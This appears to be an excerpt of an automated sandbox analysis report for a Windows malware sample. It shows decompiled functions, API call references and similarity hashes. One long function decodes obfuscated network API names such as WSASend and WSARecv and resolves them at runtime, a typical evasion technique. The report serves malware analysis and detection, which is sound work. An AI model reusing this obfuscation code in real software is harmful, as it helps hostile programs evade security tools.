					SetFilePointer(_t31, 0xfffffffc, 0, 2); // executed
					_v272 = 0;
					ReadFile(_t31,  &_v272, 4,  &_v268, 0); // executed
					CloseHandle(_t31);
					return E00424873(0 | _v272 == 0xffeeffee, _v4);
				} else {
					return E00424873(0, _v4);
				}
			}

0x004122f6
0x004122fc
0x0041230f
0x00412329
0x00412330
0x00412334
0x00412353
0x00412368
0x00412370
0x00412377
0x0041239f
0x00412336
0x0041234b
0x0041234b

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 0041230F
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00412329
SetFilePointer.KERNELBASE(00000000,000000FC,00000000,00000002), ref: 00412353
ReadFile.KERNELBASE ref: 00412370
CloseHandle.KERNEL32(00000000), ref: 00412377

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: File$CloseCreateHandleModuleNamePointerRead
String ID:
API String ID: 1352878660-0
Opcode ID: befb963a13ba4c5e85d4bc2a5bce05de213dcb508c371bfa4beb5d5e3e26406c
Instruction ID: 8ffeed0f72fee83426293c6dbf2c57134b8dcb90779bcdd018a2b6f3ce986fdc
Opcode Fuzzy Hash: befb963a13ba4c5e85d4bc2a5bce05de213dcb508c371bfa4beb5d5e3e26406c
Instruction Fuzzy Hash: 6111A5716443506BE324EBA5EC46FEA7798BB88710F400929F760861D0D7F45545C79B

Uniqueness

Uniqueness Score: -1.00%

Function 0041F100, Relevance: 7.5, APIs: 5, Instructions: 35
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E0041F100(void* __ecx, CHAR* _a4, int* _a8) {
				long _t8;
				void* _t23;

				_t2 = __ecx + 0x18c; // 0x431e18
				_t23 = CreateEventA( *_t2, 0, 0, _a4);
				if(_t23 != 0) {
					_t8 = WaitForSingleObject(_t23, 0x3e8);
					_push(_t23);
					if(_t8 != 0) {
						FindCloseChangeNotification(); // executed
						 *_a8 = 0;
						return 0;
					} else {
						CloseHandle();
						 *_a8 = 0;
						return 1; // executed
					}
				} else {
					 *_a8 = GetLastError();
					return 0;
				}
			}

0x0041f104
0x0041f119
0x0041f11b
0x0041f135
0x0041f13d
0x0041f13e
0x0041f159
0x0041f163
0x0041f16c
0x0041f140
0x0041f140
0x0041f14a
0x0041f156
0x0041f156
0x0041f11d
0x0041f127
0x0041f12c
0x0041f12c

APIs

CreateEventA.KERNEL32(00431E18,00000000,00000000,00431CAC,00431C98,0041FCDD,?,00431CAC,?,00431CAC,?,?,?,?,?,00000001), ref: 0041F111
GetLastError.KERNEL32(?,?,?,?,?,00000001), ref: 0041F11D
WaitForSingleObject.KERNEL32(00000000,000003E8,?,?,?,?,?,00000001), ref: 0041F135
CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000001), ref: 0041F140

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CloseCreateErrorEventHandleLastObjectSingleWait
String ID:
API String ID: 5396149-0
Opcode ID: 25f36936861b2ce3ecc097644fdb18efcb05e4ac07cb0219ff57628b04177d18
Instruction ID: b1becc91a44c4797f8826b73e95a7ebb85186ea4a09202ca02bf11785cc5e264
Opcode Fuzzy Hash: 25f36936861b2ce3ecc097644fdb18efcb05e4ac07cb0219ff57628b04177d18
Instruction Fuzzy Hash: B5F01D35344220AFD361AF74DC48BABBBE4EB56351F008936FD8586390C674AC52CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0042846F, Relevance: 3.0, APIs: 2, Instructions: 26
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042846F(intOrPtr _a4) {
				void* _t6;
				void* _t7;
				intOrPtr _t9;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				_t7 = _t6;
				 *0x4338b4 = _t7;
				if(_t7 == 0) {
					L4:
					return 0;
				} else {
					_t9 = E00428455();
					 *0x4338b8 = _t9;
					if(_t9 != 3 || E004284C0(0x3f8) != 0) {
						return 1;
					} else {
						HeapDestroy( *0x4338b4);
						goto L4;
					}
				}
			}

0x00428480
0x00428486
0x00428488
0x0042848d
0x004284b9
0x004284bb
0x0042848f
0x0042848f
0x00428497
0x0042849c
0x004284bf
0x004284ad
0x004284b3
0x00000000
0x004284b3
0x0042849c

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00425E5F,00000001,?,0042E598,00000060), ref: 00428480

Part of subcall function 004284C0: HeapAlloc.KERNEL32(00000000,00000140,004284A8,000003F8,?,0042E598,00000060), ref: 004284CD

HeapDestroy.KERNEL32(?,0042E598,00000060), ref: 004284B3

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Heap$AllocCreateDestroy
String ID:
API String ID: 2236781399-0
Opcode ID: b3056cc8f0fb38cafa7fc7b7ea3c47e4d357f7b44d2d0d2c1b4d047a11e256d9
Instruction ID: dd0664843ca206a8a62e814d2b8d1ed7fc12ddde39e31fa6ddb34dd858cd3fa4
Opcode Fuzzy Hash: b3056cc8f0fb38cafa7fc7b7ea3c47e4d357f7b44d2d0d2c1b4d047a11e256d9
Instruction Fuzzy Hash: 41E01A70B562139BEB147F316D0A72E79E4EB84347F94587EB000C61A0FE788A459619

Uniqueness

Uniqueness Score: -1.00%

Function 0042AF1A, Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E0042AF1A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t17;
				void* _t18;
				long _t24;
				void* _t30;
				long _t33;
				void* _t35;
				void* _t36;

				_push(0x10);
				_push(0x42ef98);
				E0042664C(__ebx, __edi, __esi);
				_t33 =  *(_t35 + 8) *  *(_t35 + 0xc);
				 *(_t35 - 0x20) = _t33;
				if(_t33 == 0) {
					_t33 = _t33 + 1;
				}
				do {
					_t29 = 0;
					 *(_t35 - 0x1c) = 0;
					if(_t33 > 0xffffffe0) {
						L9:
						_t30 = _t29;
						if(_t30 != 0 ||  *0x43237c == _t30) {
							L13:
							_t15 = _t30;
							L14:
							return E00426687(_t15);
						} else {
							goto L11;
						}
					}
					if( *0x4338b8 != 3) {
						L7:
						_t30 = _t29;
						if(_t30 != 0) {
							goto L13;
						}
						L8:
						_t18 = RtlAllocateHeap( *0x4338b4, 8, _t33); // executed
						_t29 = _t18;
						goto L9;
					}
					_t33 = _t33 + 0x0000000f & 0xfffffff0;
					 *(_t35 + 0xc) = _t33;
					_t24 =  *(_t35 - 0x20);
					if(_t24 >  *0x4338a4) {
						goto L7;
					}
					E0042758B(_t24, 0, 4);
					 *(_t35 - 4) =  *(_t35 - 4) & 0;
					_push(_t24);
					 *(_t35 - 0x1c) = E00428CE7();
					 *(_t35 - 4) =  *(_t35 - 4) | 0xffffffff;
					E0042AFC4();
					_t29 =  *(_t35 - 0x1c);
					if(_t29 == 0) {
						goto L8;
					}
					E00425F70(_t29, 0,  *(_t35 - 0x20));
					_t36 = _t36 + 0xc;
					goto L7;
					L11:
					_t17 = E004263C6(_t33);
					_t15 = _t17;
				} while (_t17 != 0);
				goto L14;
			}

0x0042af1a
0x0042af1c
0x0042af21
0x0042af29
0x0042af2d
0x0042af32
0x0042af34
0x0042af34
0x0042af35
0x0042af35
0x0042af37
0x0042af3d
0x0042afa4
0x0042afa4
0x0042afa6
0x0042afcd
0x0042afcd
0x0042afcf
0x0042afd4
0x00000000
0x00000000
0x00000000
0x0042afa6
0x0042af46
0x0042af8f
0x0042af8f
0x0042af91
0x00000000
0x00000000
0x0042af93
0x0042af9c
0x0042afa2
0x00000000
0x0042afa2
0x0042af4b
0x0042af4e
0x0042af51
0x0042af5a
0x00000000
0x00000000
0x0042af5e
0x0042af64
0x0042af67
0x0042af6e
0x0042af71
0x0042af75
0x0042af7a
0x0042af7f
0x00000000
0x00000000
0x0042af87
0x0042af8c
0x00000000
0x0042afb0
0x0042afb1
0x0042afb7
0x0042afb7
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,0042EF98,00000010,00426F90,00000001,0000008C,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A), ref: 0042AF9C

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2a453ce7fd43751061616d53b258150e01108ad50528259c99ac9211a8e527e0
Instruction ID: 91b097f52038725c382eb05ed3d75a60aa3f28fc03188aed84be425c91822c8c
Opcode Fuzzy Hash: 2a453ce7fd43751061616d53b258150e01108ad50528259c99ac9211a8e527e0
Instruction Fuzzy Hash: BA11E972F006349BCB21EB267E0159EB661AF50725F97011BFC142B3D1C73C09518B5E

Uniqueness

Uniqueness Score: -1.00%

Function 0042630D, Relevance: 1.5, APIs: 1, Instructions: 34
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E0042630D(void* __esi, void* __eflags) {
				void* _t15;
				void* _t18;
				long _t20;
				long _t21;
				void* _t23;

				_push(0xc);
				_push(0x42e5a8);
				E0042664C(_t15, _t18, __esi);
				_t20 =  *(_t23 + 8);
				if( *0x4338b8 != 3 || _t20 >  *0x4338a4) {
					L3:
					_t21 = _t20;
					if(_t21 == 0) {
						_t21 = _t21 + 1;
					}
					if( *0x4338b8 != 1) {
						_t21 = _t21 + 0x0000000f & 0xfffffff0;
					}
					_t9 = RtlAllocateHeap( *0x4338b4, 0, _t21); // executed
				} else {
					E0042758B(_t15, _t18, 4);
					 *(_t23 - 4) =  *(_t23 - 4) & 0x00000000;
					_push(_t20);
					 *(_t23 - 0x1c) = E00428CE7();
					 *(_t23 - 4) =  *(_t23 - 4) | 0xffffffff;
					E0042637F();
					_t9 =  *(_t23 - 0x1c);
					if( *(_t23 - 0x1c) == 0) {
						goto L3;
					}
				}
				return E00426687(_t9);
			}

0x0042630d
0x0042630f
0x00426314
0x00426319
0x00426323
0x00426353
0x00426353
0x00426355
0x00426357
0x00426357
0x0042635f
0x00426364
0x00426364
0x00426370
0x0042632d
0x0042632f
0x00426335
0x00426339
0x00426340
0x00426343
0x00426347
0x0042634f
0x00426351
0x00000000
0x00000000
0x00426351
0x0042637b

APIs

RtlAllocateHeap.NTDLL(00000000,?,0042E5A8,0000000C,00426398,000000E0,004263C3,?,0042750E,00000018,0042E878,00000008,004275A4,?,?), ref: 00426370

Part of subcall function 0042758B: EnterCriticalSection.KERNEL32(?,?,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 004275B3

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: AllocateCriticalEnterHeapSection
String ID:
API String ID: 8947104-0
Opcode ID: 361aa01271ff52ff8c81f96eb1482936636a09d12a51d8a1dd9ddb1d48398c6c
Instruction ID: 8bf87eb86d1f70de706c2e68c4903b3d01a1bbd9ea7e5ce4892f8b3845dc8c20
Opcode Fuzzy Hash: 361aa01271ff52ff8c81f96eb1482936636a09d12a51d8a1dd9ddb1d48398c6c
Instruction Fuzzy Hash: A6F0C232B01131A7EB24FB65BC0674D76A0AB00366FEA026AFC50672E1C73C1A81865C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041D159, Relevance: 233.4, APIs: 17, Strings: 116, Instructions: 633
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0041D159(void* __eax, void* __ebx, char _a16, char _a17, char _a18, char _a19, char _a20, char _a21, char _a22, char _a23, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a31, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a51, char _a52, char _a53, char _a56, char _a57, char _a58, char _a59, char _a60, char _a61, char _a62, char _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, char _a90, char _a91, char _a92, char _a93, char _a96, char _a97, char _a98, char _a99, char _a100, char _a101, char _a102, char _a103, char _a104, char _a105, char _a106, char _a108, char _a109, char _a110, char _a111, char _a112, char _a113, char _a114, char _a115, char _a116, char _a117, char _a118, char _a119, char _a120, char _a121, char _a122, char _a123, char _a124, char _a125, char _a126, char _a127, char _a128, char _a129, char _a130, char _a131, char _a132, char _a133, char _a134, char _a135, char _a136, char _a137, char _a138, char _a139, char _a140, char _a141, char _a142, char _a143, char _a144, char _a145, char _a146, char _a147, char _a148, char _a149, char _a150, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a164, char _a165, char _a166, char _a167, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a176, char _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, char _a184, char _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, char _a192, char _a193, char _a194, char _a195, char _a196, char _a197, char _a198, char _a199, char _a200, char _a201, char _a204, char _a205, char _a206, char _a207, char _a208, char _a209, char _a210, char _a211, char _a212, char _a213, char _a216, char _a217, char _a218, char _a219, char _a220, char _a221, char _a222, char _a223, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a234, char _a235, char _a236, char _a304, char _a305, char _a306, char _a307, char _a308, char _a309, char _a310, char _a311, char _a312, char _a313, char _a314, char _a315, char _a316, char _a317, char _a318, char _a319, CHAR* _a336) {
				struct HINSTANCE__* __edi;

				do {
					 *(__esp +  &(__eax[0xec])) =  *(__esp +  &(__eax[0xec])) ^  *(__esp +  &(__eax[0x10]));
					 *(__esp +  &(__eax[0xed])) =  *(__esp +  &(__eax[0xed])) ^  *(__esp +  &(__eax[0x11]));
					 *(__esp +  &(__eax[0xee])) =  *(__esp +  &(__eax[0xee])) ^  *(__esp +  &(__eax[0x12]));
					__eax =  &(__eax[3]);
				} while (__eax < 0x15);
				__edx =  &_a236;
				__eax = GetProcAddress(__edi,  &_a236);
				 *0x431ee4 = __eax;
				if(__eax == 0) {
					L1:
					return E00424873(0, _a336);
				} else {
					__eax =  &_a216;
					_push(0xe);
					_push( &_a216);
					__eax =  &_a16;
					_a216 = 0x23;
					_a217 = 0x93;
					_a218 = 0x35;
					_a219 = 0xe2;
					_a220 = 0x14;
					_a221 = 0xc4;
					_a222 = 0xca;
					_a223 = 0x89;
					_a224 = 0x5f;
					_a225 = 0xd1;
					_a226 = 0x4b;
					_a227 = 0x12;
					_a228 = 0x74;
					_a229 = 6;
					_a16 = 6;
					_a17 = 0;
					_a18 = 0x7c;
					_a19 = 0x2e;
					_a20 = 0xa7;
					_a21 = 0x1a;
					_a22 = 0xec;
					_a23 = 0xb9;
					_a24 = 0xab;
					_a25 = 0x78;
					_a26 = 0xa1;
					_a27 = 0x74;
					_a28 = 0xc0;
					_a29 = 0x74;
					__eax = E0041C580( &_a16);
					__esp = __esp + 8;
					__eax = GetProcAddress(__edi, __eax);
					__eax = __eax;
					 *0x431ee8 = __eax;
					if(__eax == 0) {
						goto L1;
					} else {
						__ecx =  &_a304;
						_a304 = 0x57;
						_a305 = 0x53;
						_a306 = 0x41;
						_a307 = 0x52;
						_a308 = 0x65;
						_a309 = 0x63;
						_a310 = 0x76;
						_a311 = 0;
						__eax = GetProcAddress(__edi, __ecx);
						__eax = __eax;
						 *0x431eec = __eax;
						if(__eax == 0) {
							goto L1;
						} else {
							__edx =  &_a312;
							_a312 = 0x57;
							_a313 = 0x53;
							_a314 = 0x41;
							_a315 = 0x53;
							_a316 = 0x65;
							_a317 = 0x6e;
							_a318 = 0x64;
							_a319 = 0;
							__eax = GetProcAddress(__edi,  &_a312);
							 *0x431ef0 = __eax;
							if(__eax == 0) {
								goto L1;
							} else {
								_a189 = __bl;
								__bl = 0x2d;
								_a176 = 0x6b;
								_a177 = 0x54;
								_a178 = 0x51;
								_a179 = 0xe0;
								_a180 = 0xe1;
								_a181 = 0x4a;
								_a182 = 0x93;
								_a183 = 0x9e;
								_a184 = 0x41;
								_a185 = 0x69;
								_a186 = 0xf9;
								_a187 = 0xc8;
								_a188 = 0x34;
								_a190 = 0xf0;
								_a191 = 0x34;
								_a192 = 0x34;
								_a193 = 0xbc;
								_a194 = 0x28;
								_a195 = 0xac;
								_a196 = 0xd;
								_a197 = 0x2d;
								_a198 = 0xa6;
								_a16 = 0x3c;
								_a17 = 7;
								_a18 = 0x10;
								_a19 = 0xa7;
								_a20 = 0x84;
								_a21 = 0x3e;
								_a22 = 0xdc;
								_a23 = 0xe8;
								_a24 = 0x24;
								_a25 = 0x1b;
								_a26 = 0x95;
								_a27 = 0xa9;
								_a28 = 0x44;
								_a29 = 0xe0;
								_a30 = 0x95;
								_a31 = 0x50;
								_a32 = 0x66;
								_a33 = 0xd9;
								_a34 = 0x5b;
								_a35 = 0xd9;
								_a36 = 0x61;
								_a37 = 0x59;
								_a38 = 0xa6;
								__eax = 0;
								do {
									 *(__esp +  &(__eax[0xb0])) =  *(__esp +  &(__eax[0xb0])) ^  *(__esp +  &(__eax[0x10]));
									__eax =  &(__eax[1]);
								} while (__eax < 0x17);
								__edx =  &_a176;
								__eax = GetProcAddress(__edi,  &_a176);
								__eax = __eax;
								 *0x431ef4 = __eax;
								if(__eax == 0) {
									goto L1;
								} else {
									__eax =  &_a108;
									_push( &_a108);
									__ecx =  &_a40;
									asm("pushad");
									asm("popad");
									__edx = 0xc;
									_a108 = 0x53;
									_a109 = 0x8b;
									_a110 = 0xbe;
									_a111 = 0xec;
									_a112 = 0xbe;
									_a113 = 0x6c;
									_a114 = 0x99;
									_a115 = 0x48;
									_a116 = 0x4e;
									_a117 = 0x30;
									_a118 = 0x6a;
									_a119 = 0xa4;
									_a40 = 0x21;
									_a41 = 0x76;
									_a42 = 0x1f;
									_a43 = 0x71;
									_a44 = 0x18;
									_a45 = 0x76;
									_a46 = 0x13;
									_a47 = 0x67;
									_a48 = 0x49;
									_a49 = 0x2d;
									_a50 = 0x41;
									_a51 = 0x2d;
									__eax = E0041C4C0( &_a40, __edx);
									__esp = __esp + 4;
									__edi = __eax;
									__eax = 0;
									__edi = __edi;
									if(__edi == 0) {
										L34:
										__ecx = _a336;
										_pop(__edi);
										__eax = E00424873(__eax, _a336);
										__esp = __esp + 0x144;
										return __eax;
									} else {
										_a176 = 0xd3;
										_a177 = 0xf4;
										_a178 = 0xee;
										_a179 = 0xff;
										_a180 = 0xe8;
										_a181 = 0xf4;
										_a182 = 0xff;
										_a183 = 0xee;
										_a184 = 0xdd;
										_a185 = 0xff;
										_a186 = 0xee;
										_a187 = 0xd9;
										_a188 = 0xf5;
										_a189 = 0xf4;
										_a190 = 0xf4;
										_a191 = 0xff;
										_a192 = 0xf9;
										_a193 = 0xee;
										_a194 = 0xff;
										_a195 = 0xfe;
										_a196 = 0xc9;
										_a197 = 0xee;
										_a198 = 0xfb;
										_a199 = 0xee;
										_a200 = 0xff;
										_a201 = 0x9a;
										do {
											 *(__esp +  &(__eax[0xb0])) =  *(__esp +  &(__eax[0xb0])) ^ 0x0000009a;
											__eax =  &(__eax[1]);
										} while (__eax < 0x1a);
										__ecx =  &_a176;
										__eax = GetProcAddress(__edi, __ecx);
										__eax = __eax;
										 *0x431ef8 = __eax;
										if(__eax == 0) {
											goto L1;
										} else {
											_a40 = 0xec;
											_a41 = 0xcb;
											_a42 = 0xd1;
											_a43 = 0xc0;
											_a44 = 0xd7;
											_a45 = 0xcb;
											_a46 = 0xc0;
											_a47 = 0xd1;
											_a48 = 0xea;
											_a49 = 0xd5;
											_a50 = 0xc0;
											_a51 = 0xcb;
											_a52 = 0xe4;
											_a53 = 0xa5;
											__eax = 0;
											do {
												 *(__esp +  &(__eax[0x28])) =  *(__esp +  &(__eax[0x28])) ^ 0x000000a5;
												__eax =  &(__eax[1]);
											} while (__eax < 0xe);
											__edx =  &_a40;
											__eax = GetProcAddress(__edi,  &_a40);
											__eax = __eax;
											 *0x431efc = __eax;
											if(__eax == 0) {
												goto L1;
											} else {
												_a56 = 0xa3;
												_a57 = 0x84;
												_a58 = 0x9e;
												_a59 = 0x8f;
												_a60 = 0x98;
												_a61 = 0x84;
												_a62 = 0x8f;
												_a63 = 0x9e;
												_a64 = 0xa5;
												_a65 = 0x9a;
												_a66 = 0x8f;
												_a67 = 0x84;
												_a68 = 0xbf;
												_a69 = 0x98;
												_a70 = 0x86;
												_a71 = 0xab;
												_a72 = 0xea;
												__eax = 0;
												do {
													 *(__esp +  &(__eax[0x38])) =  *(__esp +  &(__eax[0x38])) ^ 0x000000ea;
													__eax =  &(__eax[1]);
												} while (__eax < 0x11);
												__eax =  &_a56;
												__eax = GetProcAddress(__edi,  &_a56);
												 *0x431f00 = __eax;
												if(__eax == 0) {
													goto L1;
												} else {
													__bl = 0x9f;
													_a76 = 0x88;
													_a77 = 0x43;
													_a78 = 0xfc;
													_a79 = 0x99;
													_a80 = 0xa6;
													_a81 = 0x58;
													_a82 = 0x6a;
													_a83 = 0xe2;
													_a84 = 0xbe;
													_a85 = 0x9f;
													_a86 = 0x20;
													_a87 = 0xed;
													_a88 = 0x35;
													_a89 = 0xb4;
													_a90 = 0x34;
													_a91 = 0xfa;
													_a92 = 0xe7;
													_a120 = 0xc1;
													_a121 = 0x2b;
													_a122 = 0x78;
													_a123 = 0xcc;
													_a124 = 0xcc;
													_a125 = 0x16;
													_a126 = 0xfb;
													_a127 = 0x92;
													_a128 = 0x94;
													_a129 = 0xc6;
													_a130 = 0x41;
													_a131 = 0x77;
													_a132 = 0x11;
													_a133 = 0xb5;
													_a134 = 0x38;
													_a135 = 0x6b;
													_a136 = 0x19;
													__eax = 0;
													do {
														 *((char*)(__esp +  &(__eax[0x4c]))) =  *((intOrPtr*)(__esp +  &(__eax[0x4c]))) +  *((intOrPtr*)(__esp +  &(__eax[0x78])));
														__eax =  &(__eax[1]);
													} while (__eax < 0x11);
													__edx =  &_a76;
													__eax = GetProcAddress(__edi,  &_a76);
													 *0x431f04 = __eax;
													if(__eax == 0) {
														goto L1;
													} else {
														_a220 = 0x56;
														_a130 = 0x56;
														__eax =  &_a216;
														_push( &_a216);
														__ecx =  &_a120;
														__edx = 0x14;
														_a216 = 6;
														_a217 = 0x36;
														_a218 = 0xb9;
														_a219 = 0x60;
														_a221 = 1;
														_a222 = 0x32;
														_a223 = 0x3e;
														_a224 = 0xcb;
														_a225 = 0x26;
														_a226 = 0xf;
														_a227 = 0xa5;
														_a228 = 1;
														_a229 = 0xa3;
														_a230 = 0x3c;
														_a231 = 0xd2;
														_a232 = 0x72;
														_a233 = 0x9f;
														_a234 = 0x9a;
														_a235 = 0xed;
														_a120 = 0x42;
														_a121 = 0xb;
														_a122 = 0x65;
														_a123 = 0x11;
														_a124 = 0x74;
														_a125 = 6;
														_a126 = 0x68;
														_a127 = 0xd;
														_a128 = 0x79;
														_a129 = 0x3a;
														_a131 = 0x39;
														_a132 = 0x4a;
														_a133 = 0x2f;
														_a134 = 0x67;
														_a135 = 6;
														_a136 = 0x68;
														_a137 = 0xc;
														_a138 = 0x60;
														_a139 = 5;
														__eax = E0041C4C0(__ecx, __edx);
														__esp = __esp + 4;
														__eax = GetProcAddress(__edi, __eax);
														__eax = __eax;
														 *0x431f08 = __eax;
														if(__eax == 0) {
															goto L1;
														} else {
															_a96 = 0x40;
															_a97 = 0xec;
															_a98 = 0xfc;
															_a99 = 0xa;
															_a100 = 0xe1;
															_a101 = 0x80;
															_a102 = 0x93;
															_a103 = 0xb7;
															_a104 = 0xf4;
															_a105 = 0xba;
															_a106 = 0xb0;
															_a40 = 0x24;
															_a41 = 0x82;
															_a42 = 0x77;
															_a43 = 0x57;
															_a44 = 0x8f;
															_a45 = 0xe9;
															_a46 = 0x9b;
															_a47 = 0xad;
															_a48 = 0x78;
															_a49 = 0xb2;
															_a50 = 0x50;
															__eax = 0;
															do {
																 *((intOrPtr*)(__esp +  &(__eax[0x60]))) =  *((intOrPtr*)(__esp +  &(__eax[0x60]))) +  *(__esp +  &(__eax[0x28]));
																 *((char*)(__esp +  &(__eax[0x60]))) =  *((intOrPtr*)(__esp +  &(__eax[0x60]))) +  *(__esp +  &(__eax[0x28]));
																__eax =  &(__eax[1]);
															} while (__eax < 0xb);
															__edx =  &_a96;
															__edi = LoadLibraryA( &_a96);
															__eax = 0;
															if(__edi == 0) {
																goto L34;
															} else {
																_a140 = 0xce;
																_a141 = 0xe4;
																_a142 = 0xf9;
																_a143 = 0xdb;
																_a144 = 0xff;
																_a145 = 0xef;
																_a146 = 0xf8;
																_a147 = 0xf3;
																_a148 = 0xd5;
																_a149 = 0xcb;
																_a150 = 0x8a;
																do {
																	 *(__esp +  &(__eax[0x8c])) =  *(__esp +  &(__eax[0x8c])) ^ 0x0000008a;
																	__eax =  &(__eax[1]);
																} while (__eax < 0xb);
																__eax =  &_a140;
																__eax = GetProcAddress(__edi,  &_a140);
																__eax = __eax;
																 *0x431f0c = __eax;
																if(__eax == 0) {
																	goto L1;
																} else {
																	__ecx =  &_a56;
																	_push(0x12);
																	__bl = 0xde;
																	_push( &_a56);
																	__eax =  &_a76;
																	_a56 = 0x2b;
																	_a57 = 0x7e;
																	_a58 = 0x14;
																	_a59 = 0xc5;
																	_a60 = 0x31;
																	_a61 = 0x22;
																	_a62 = 0x49;
																	_a63 = 0xdc;
																	_a64 = 0xd8;
																	_a65 = 0x8b;
																	_a66 = 0xed;
																	_a67 = 0x54;
																	_a68 = 0xbb;
																	_a69 = 0xba;
																	_a70 = 0x48;
																	_a71 = 0xbb;
																	_a72 = 0xa1;
																	_a73 = 0x26;
																	_a76 = 0x26;
																	_a77 = 0xc4;
																	_a78 = 0xde;
																	_a79 = 0x3a;
																	_a80 = 0xfc;
																	_a81 = 0xcf;
																	_a82 = 0x27;
																	_a83 = 0x84;
																	_a84 = 0xc7;
																	_a85 = 0xbc;
																	_a86 = 0xae;
																	_a87 = 0x26;
																	_a88 = 0x41;
																	_a89 = 0x54;
																	_a90 = 0x97;
																	_a91 = 0x67;
																	_a92 = 0x10;
																	_a93 = 0x6f;
